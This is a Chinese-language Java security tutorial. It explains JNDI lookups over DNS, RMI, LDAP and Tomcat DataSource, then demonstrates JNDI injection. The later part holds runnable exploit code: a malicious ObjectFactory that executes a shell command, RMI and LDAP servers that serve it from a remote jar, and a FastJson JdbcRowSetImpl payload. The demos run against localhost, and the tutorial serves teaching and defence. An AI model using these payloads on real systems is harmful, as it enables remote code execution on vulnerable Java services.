JNDI
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 數據源),JNDI可訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
Naming Service 命名服務:
命名服務將名稱和對象進行關聯,提供通過名稱找到對象的操作,例如:DNS系統將計算機名和IP地址進行關聯、文件系統將文件名和文件句柄進行關聯等等。
Directory Service 目錄服務:
目錄服務是命名服務的擴展,除了提供名稱和對象的關聯,還允許對象具有屬性。目錄服務中的對象稱之為目錄對象。目錄服務提供創建、添加、刪除目錄對象以及修改目錄對象屬性等操作。
Reference 引用:
在一些命名服務系統中,系統并不是直接將對象存儲在系統中,而是保持對象的引用。引用包含了如何訪問實際對象的信息。
更多JNDI相關概念參考: Java技術回顧之JNDI:命名和目錄服務基本概念
JNDI目錄服務
訪問JNDI目錄服務時會通過預先設置好環境變量訪問對應的服務, 如果創建JNDI上下文(Context)時未指定環境變量對象,JNDI會自動搜索系統屬性(System.getProperty())、applet 參數和應用程序資源文件(jndi.properties)。
使用JNDI創建目錄服務對象代碼片段:
// 創建環境變量對象
Hashtable env = new Hashtable();
// 設置JNDI初始化工廠類名
env.put(Context.INITIAL_CONTEXT_FACTORY, "類名");
// 設置JNDI提供服務的URL地址
env.put(Context.PROVIDER_URL, "url");
// 創建JNDI目錄服務對象
DirContext context = new InitialDirContext(env);
Context.INITIAL_CONTEXT_FACTORY(初始上下文工廠的環境屬性名稱)指的是JNDI服務處理的具體類名稱,如:DNS服務可以使用com.sun.jndi.dns.DnsContextFactory類來處理,JNDI上下文工廠類必須實現javax.naming.spi.InitialContextFactory接口,通過重寫getInitialContext方法來創建服務。
javax.naming.spi.InitialContextFactory:
package javax.naming.spi;
public interface InitialContextFactory {
public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;
}
JNDI-DNS解析
JNDI支持訪問DNS服務,注冊環境變量時設置JNDI服務處理的工廠類為com.sun.jndi.dns.DnsContextFactory即可。
com.sun.jndi.dns.DnsContextFactory代碼片段:
package com.sun.jndi.dns;
public class DnsContextFactory implements InitialContextFactory {
// 獲取處理DNS的JNDI上下文對象
public Context getInitialContext(Hashtable<?, ?> var1) throws NamingException {
if (var1 == null) {
var1 = new Hashtable(5);
}
return urlToContext(getInitCtxUrl(var1), var1);
}
// 省去其他無關方法和變量
}
使用JNDI解析DNS測試:
package com.anbai.sec.jndi;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
/**
* Creator: yz
* Date: 2019/12/23
*/
public class DNSContextFactoryTest {
public static void main(String[] args) {
// 創建環境變量對象
Hashtable env = new Hashtable();
// 設置JNDI初始化工廠類名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
// 設置JNDI提供服務的URL地址,這里可以設置解析的DNS服務器地址
env.put(Context.PROVIDER_URL, "dns://223.6.6.6/");
try {
// 創建JNDI目錄服務對象
DirContext context = new InitialDirContext(env);
// 獲取DNS解析記錄測試
Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});
System.out.println(attrs1);
System.out.println(attrs2);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
程序運行結果:
{a=A: 39.156.69.79, 220.181.38.148}
{a=A: 125.39.52.26, 58.247.214.47, 58.250.137.36}
JNDI-RMI遠程方法調用
RMI的服務處理工廠類是:com.sun.jndi.rmi.registry.RegistryContextFactory,在調用遠程的RMI方法之前需要先啟動RMI服務:com.anbai.sec.rmi.RMIServerTest,啟動完成后就可以使用JNDI連接并調用了。
使用JNDI解析調用遠程RMI方法測試:
package com.anbai.sec.jndi;
import com.anbai.sec.rmi.RMITestInterface;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.RemoteException;
import java.util.Hashtable;
import static com.anbai.sec.rmi.RMIServerTest.*;
/**
* Creator: yz
* Date: 2019/12/24
*/
public class RMIRegistryContextFactoryTest {
public static void main(String[] args) {
String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;
// 創建環境變量對象
Hashtable env = new Hashtable();
// 設置JNDI初始化工廠類名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// 設置JNDI提供服務的URL地址
env.put(Context.PROVIDER_URL, providerURL);
// 通過JNDI調用遠程RMI方法測試,等同于com.anbai.sec.rmi.RMIClientTest類的Demo
try {
// 創建JNDI目錄服務對象
DirContext context = new InitialDirContext(env);
// 通過命名服務查找遠程RMI綁定的RMITestInterface對象
RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);
// 調用遠程的RMITestInterface接口的test方法
String result = testInterface.test();
System.out.println(result);
} catch (NamingException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
程序執行結果:
Hello RMI~
JNDI-LDAP
LDAP的服務處理工廠類是:com.sun.jndi.ldap.LdapCtxFactory,連接LDAP之前需要配置好遠程的LDAP服務。
使用JNDI創建LDAP連接測試:
package com.anbai.sec.jndi;
import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
/**
* Creator: yz
* Date: 2019/12/24
*/
public class LDAPFactoryTest {
public static void main(String[] args) {
try {
// 設置用戶LDAP登陸用戶DN
String userDN = "cn=Manager,dc=javaweb,dc=org";
// 設置登陸用戶密碼
String password = "123456";
// 創建環境變量對象
Hashtable<String, Object> env = new Hashtable<String, Object>();
// 設置JNDI初始化工廠類名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
// 設置JNDI提供服務的URL地址
env.put(Context.PROVIDER_URL, "ldap://localhost:389");
// 設置安全認證方式
env.put(Context.SECURITY_AUTHENTICATION, "simple");
// 設置用戶信息
env.put(Context.SECURITY_PRINCIPAL, userDN);
// 設置用戶密碼
env.put(Context.SECURITY_CREDENTIALS, password);
// 創建LDAP連接
DirContext ctx = new InitialDirContext(env);
// 使用ctx可以查詢或存儲數據,此處省去業務代碼
ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
JNDI-DataSource
JNDI連接數據源比較特殊,Java目前不提供內置的實現方法,提供數據源服務的多是Servlet容器,這里我們以Tomcat為例學習如何在應用服務中使用JNDI查找容器提供的數據源。
Tomcat配置JNDI數據源需要手動修改Tomcat目錄/conf/context.xml文件,參考:Tomcat JNDI Datasource,這里我們在Tomcat的conf/context.xml中添加如下配置:
<Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"
maxTotal="100" maxIdle="30" maxWaitMillis="10000"
username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/mysql"/>
然后我們需要下載好Mysql的JDBC驅動包并復制到Tomcat的lib目錄:
wget https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar -P "/data/apache-tomcat-8.5.31/lib"
配置好數據源之后我們重啟Tomcat服務就可以使用JNDI的方式獲取DataSource了。
使用JNDI獲取數據源并查詢數據庫測試:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.ResultSet" %>
<%
// 初始化JNDIContext
Context context = new InitialContext();
// 搜索Tomcat注冊的JNDI數據庫連接池對象
DataSource dataSource = (DataSource) context.lookup("java:comp/env/jdbc/test");
// 獲取數據庫連接
Connection connection = dataSource.getConnection();
// 查詢SQL語句并返回結果
ResultSet rs = connection.prepareStatement("select version()").executeQuery();
// 獲取數據庫查詢結果
while (rs.next()) {
out.println(rs.getObject(1));
}
rs.close();
%>
訪問tomcat-datasource-lookup.jsp輸出: 5.7.28,需要注意的是示例jsp中的Demo使用了系統的環境變量所以并不需要在創建context的時候傳入環境變量對象。Tomcat在啟動的時候會設置JNDI變量信息,處理JNDI服務的類是org.apache.naming.java.javaURLContextFactory,所以在jsp中我們可以直接創建context。
JNDI-協議轉換
如果JNDI在lookup時沒有指定初始化工廠名稱,會自動根據協議類型動態查找內置的工廠類然后創建處理對應的服務請求。
JNDI默認支持自動轉換的協議有:
| 協議名稱 | 協議URL | Context類 |
|---|---|---|
| DNS協議 | dns:// |
com.sun.jndi.url.dns.dnsURLContext |
| RMI協議 | rmi:// |
com.sun.jndi.url.rmi.rmiURLContext |
| LDAP協議 | ldap:// |
com.sun.jndi.url.ldap.ldapURLContext |
| LDAP協議 | ldaps:// |
com.sun.jndi.url.ldaps.ldapsURLContextFactory |
| IIOP對象請求代理協議 | iiop:// |
com.sun.jndi.url.iiop.iiopURLContext |
| IIOP對象請求代理協議 | iiopname:// |
com.sun.jndi.url.iiopname.iiopnameURLContextFactory |
| IIOP對象請求代理協議 | corbaname:// |
com.sun.jndi.url.corbaname.corbanameURLContextFactory |
RMI示例代碼片段:
// 創建JNDI目錄服務上下文
InitialContext context = new InitialContext();
// 查找JNDI目錄服務綁定的對象
Object obj = context.lookup("rmi://127.0.0.1:9527/test");
示例代碼通過lookup會自動使用rmiURLContext處理RMI請求。
JNDI-Reference
在JNDI服務中允許使用系統以外的對象,比如在某些目錄服務中直接引用遠程的Java對象,但遵循一些安全限制。
RMI/LDAP遠程對象引用安全限制
在RMI服務中引用遠程對象將受本地Java環境限制即本地的java.rmi.server.useCodebaseOnly配置必須為false(允許加載遠程對象),如果該值為true則禁止引用遠程對象。除此之外被引用的ObjectFactory對象還將受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果該值為false(不信任遠程引用對象)一樣無法調用遠程的引用對象。
JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121開始java.rmi.server.useCodebaseOnly默認配置已經改為了true。JDK 6u132, JDK 7u122, JDK 8u113開始com.sun.jndi.rmi.object.trustURLCodebase默認值已改為了false。
本地測試遠程對象引用可以使用如下方式允許加載遠程的引用對象:
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
或者在啟動Java程序時候指定-D參數:-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true。
LDAP在JDK 11.0.1、8u191、7u201、6u211后也將默認的com.sun.jndi.ldap.object.trustURLCodebase設置為了false。
高版本JDK可參考:如何繞過高版本 JDK 的限制進行 JNDI 注入利用。
使用創建惡意的ObjectFactory對象
JNDI允許通過對象工廠 (javax.naming.spi.ObjectFactory)動態加載對象實現,例如,當查找綁定在名稱空間中的打印機時,如果打印服務將打印機的名稱綁定到 Reference,則可以使用該打印機 Reference 創建一個打印機對象,從而查找的調用者可以在查找后直接在該打印機對象上操作。
對象工廠必須實現 javax.naming.spi.ObjectFactory接口并重寫getObjectInstance方法。
ReferenceObjectFactory示例代碼:
package com.anbai.sec.jndi.injection;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
/**
* 引用對象創建工廠
*/
public class ReferenceObjectFactory implements ObjectFactory {
/**
* @param obj 包含可在創建對象時使用的位置或引用信息的對象(可能為 null)。
* @param name 此對象相對于 ctx 的名稱,如果沒有指定名稱,則該參數為 null。
* @param ctx 一個上下文,name 參數是相對于該上下文指定的,如果 name 相對于默認初始上下文,則該參數為 null。
* @param env 創建對象時使用的環境(可能為 null)。
* @return 對象工廠創建出的對象
* @throws Exception 對象創建異常
*/
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在創建對象過程中插入惡意的攻擊代碼,或者直接創建一個本地命令執行的Process對象從而實現RCE
return Runtime.getRuntime().exec("curl localhost:9000");
}
}
創建惡意的RMI服務
如果我們在RMI服務端綁定一個惡意的引用對象,RMI客戶端在獲取服務端綁定的對象時發現是一個Reference對象后檢查當前JVM是否允許加載遠程引用對象,如果允許加載且本地不存在此對象工廠類則使用URLClassLoader加載遠程的jar,并加載我們構建的惡意對象工廠(ReferenceObjectFactory)類然后調用其中的getObjectInstance方法從而觸發該方法中的惡意RCE代碼。
包含惡意攻擊的RMI服務端代碼:
package com.anbai.sec.jndi.injection;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
/**
* Creator: yz
* Date: 2019/12/25
*/
public class RMIReferenceServerTest {
public static void main(String[] args) {
try {
// 定義一個遠程的jar,jar中包含一個惡意攻擊的對象的工廠類
String url = "http://p2j.cn/tools/jndi-test.jar";
// 對象的工廠類名
String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";
// 監聽RMI服務端口
LocateRegistry.createRegistry(RMI_PORT);
// 創建一個遠程的JNDI對象工廠類的引用對象
Reference reference = new Reference(className, className, url);
// 轉換為RMI引用對象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 綁定一個惡意的Remote對象到RMI服務
Naming.bind(RMI_NAME, referenceWrapper);
System.out.println("RMI服務啟動成功,服務地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}
}
程序運行結果:
RMI服務啟動成功,服務地址:rmi://127.0.0.1:9527/test
啟動完RMIReferenceServerTest后在本地監聽9000端口測試客戶端調用RMI方法后是否執行了curl localhost:9000命令。
使用nc監聽端口:
nc -vv -l 9000
RMI客戶端代碼:
package com.anbai.sec.jndi.injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
/**
* Creator: yz
* Date: 2019/12/25
*/
public class RMIReferenceClientTest {
public static void main(String[] args) {
try {
// // 測試時如果需要允許調用RMI遠程引用對象加載請取消如下注釋
// System.setProperty("java.rmi.server.useCodebaseOnly", "false");
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
// 獲取RMI綁定的惡意ReferenceWrapper對象
Object obj = context.lookup(RMI_NAME);
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
程序運行結果:
Process[pid=8634, exitValue="not exited"]
客戶端執行成功后可以在nc中看到來自客戶端的curl請求:
GET / HTTP/1.1
Host: localhost:9000
User-Agent: curl/7.64.1
Accept: */*
上面的示例演示了在JVM默認允許加載遠程RMI引用對象所帶來的RCE攻擊,但在真實的環境下由于發起RMI請求的客戶端的JDK版本大于我們的測試要求或者網絡限制等可能會導致攻擊失敗。
創建惡意的LDAP服務
LDAP和RMI同理,測試方法也同上。啟動LDAP服務端程序后我們會在LDAP請求中返回一個含有惡意攻擊代碼的對象工廠的遠程jar地址,客戶端會加載我們構建的惡意對象工廠(ReferenceObjectFactory)類然后調用其中的getObjectInstance方法從而觸發該方法中的惡意RCE代碼。
包含惡意攻擊的LDAP服務端代碼:
package com.anbai.sec.jndi.injection;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
public class LDAPReferenceServerTest {
// 設置LDAP服務端口
public static final int SERVER_PORT = 3890;
// 設置LDAP綁定的服務地址,外網測試換成0.0.0.0
public static final String BIND_HOST = "127.0.0.1";
// 設置一個實體名稱
public static final String LDAP_ENTRY_NAME = "test";
// 獲取LDAP服務地址
public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;
// 定義一個遠程的jar,jar中包含一個惡意攻擊的對象的工廠類
public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar";
// 設置LDAP基底DN
private static final String LDAP_BASE = "dc=javasec,dc=org";
public static void main(String[] args) {
try {
// 創建LDAP配置對象
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
// 設置LDAP監聽配置信息
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())
);
// 添加自定義的LDAP操作攔截器
config.addInMemoryOperationInterceptor(new OperationInterceptor());
// 創建LDAP服務對象
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
// 啟動服務
ds.startListening();
System.out.println("LDAP服務啟動成功,服務地址:" + LDAP_URL);
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
try {
// 設置對象的工廠類名
String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaFactory", className);
// 設置遠程的惡意引用對象的jar地址
entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);
// 設置LDAP objectClass
entry.addAttribute("objectClass", "javaNamingReference");
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e1) {
e1.printStackTrace();
}
}
}
}
程序運行結果:
LDAP服務啟動成功,服務地址:ldap://127.0.0.1:3890/test
LDAP客戶端代碼:
package com.anbai.sec.jndi.injection;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;
/**
* Creator: yz
* Date: 2019/12/27
*/
public class LDAPReferenceClientTest {
public static void main(String[] args) {
try {
// // 測試時如果需要允許調用RMI遠程引用對象加載請取消如下注釋
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
// 獲取RMI綁定的惡意ReferenceWrapper對象
Object obj = ctx.lookup(LDAP_URL);
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
程序運行結果:
java.lang.UNIXProcess@184f6be2
JNDI注入漏洞利用
2016年BlackHat大會上us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf提到了包括RMI、LDAP、CORBA的JNDI注入方式攻擊方式被廣泛的利用于近年來的各種JNDI注入漏洞。
觸發JNDI注入漏洞的方式也是非常的簡單,只需要直接或間接的調用JNDI服務,且lookup的參數值可控、JDK版本、服務器網絡環境滿足漏洞利用條件就可以成功的利用該漏洞了。
示例代碼:
Context ctx = new InitialContext();
// 獲取RMI綁定的惡意ReferenceWrapper對象
Object obj = ctx.lookup("注入JNDI服務URL");
我們只需間接的找到調用了JNDI的lookup方法的類且lookup 的URL可被我們惡意控制的后端接口或者服務即可利用。
FastJson 反序列化JNDI注入示例
比較典型的漏洞有FastJson的JNDI注入漏洞,FastJson在反序列化JSON對象時候會通過反射自動創建類實例且FastJson會根據傳入的JSON字段間接的調用類成員變量的setXXX方法。FastJson這個反序列化功能看似無法實現RCE,但是有人找出多個符合JNDI注入漏洞利用條件的Java類(如:com.sun.rowset.JdbcRowSetImpl)從而實現了RCE。
JdbcRowSetImpl示例:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
<%
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(request.getParameter("url"));
jdbcRowSet.setAutoCommit(true);
%>
假設我們能夠動態的創建出JdbcRowSetImpl類實例且可以間接的調用setDataSourceName和setAutoCommit方法,那么就有可能實現JNDI注入攻擊。FastJson使用JdbcRowSetImpl實現JNDI注入攻擊的大致的流程如下:
- 反射創建
com.sun.rowset.JdbcRowSetImpl對象。 - 反射調用
setDataSourceName方法,設置JNDI的URL。 - 反射調用
setAutoCommit方法,該方法會試圖使用JNDI獲取數據源(DataSource)對象。 - 調用
lookup方法去查找我們注入的URL所綁定的惡意的JNDI遠程引用對象。 - 執行惡意的類對象工廠方法實現RCE。
FastJson JdbcRowSetImpl Payload:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:3890/test",
"autoCommit": "true"
}
FastJson JNDI測試代碼:
package com.anbai.sec.jndi.injection;
import com.alibaba.fastjson.JSON;
/**
* Creator: yz
* Date: 2019/12/28
*/
public class FastJsonRCETest {
public static void main(String[] args) {
// // 測試時如果需要允許調用RMI遠程引用對象加載請取消如下注釋
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";
Object obj = JSON.parse(json);
System.out.println(obj);
}
}
程序執行后nc會接收到本機的curl請求表明漏洞已利用成功:
GET / HTTP/1.1
Host: localhost:9000
User-Agent: curl/7.64.1
Accept: */*
Java Web安全
推薦文章: